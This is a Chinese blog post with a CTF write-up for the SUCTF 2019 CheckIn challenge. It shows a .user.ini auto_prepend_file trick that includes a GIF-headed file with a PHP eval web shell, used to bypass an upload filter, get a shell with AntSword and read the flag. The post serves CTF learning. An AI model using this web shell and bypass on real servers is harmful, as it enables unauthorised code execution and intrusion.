一天一道ctf 第15天(.user.ini文件上传)

最新推荐文章于 2023-02-02 10:59:31 发布

scrawman

最新推荐文章于 2023-02-02 10:59:31 发布

阅读量296

点赞数

本文链接：https://blog.csdn.net/scrawman/article/details/115218597

版权

该博客讲述了如何利用.user.ini文件的动态加载特性结合auto_prepend_file函数，构造一句话木马绕过文件头检测进行文件上传攻击。通过上传包含PHP代码的.gif文件，然后访问特定页面触发木马，最终通过蚁剑连接获取服务器信息。

摘要由CSDN通过智能技术生成

[SUCTF 2019]CheckIn
看页面是一个文件上传漏洞
构造.user.ini文件和test.gif文件

//.user.ini
GIF89a
auto_prepend_file=test.gif

//test.gif
GIF89a
<script language="php">eval($_POST['a']);</script>

.user.ini是一个可以让用户自己写的ini文件，而且可以被动态加载，意味着我写好以后不用重启服务器也能运行。其中的auto_prepend_file函数可以让php文件自动包含某个文件，这里我们用auto_prepend_file=test.gif来包含写有一句话木马的test.gif。
因为上传过滤中加入了文件头检测，所以我们在前面加上GIF89a绕过

两次上传以后我们访问http://3cc9008b-881a-4bed-ae04-90fb8a1a768d.node3.buuoj.cn/uploads/d99081fe929b750e0557f85e6499103f/index.php页面显示GIF89a说明已经上传成功。我们再用蚁剑连接这个网址，虚拟终端输入cat /flag
在这里插入图片描述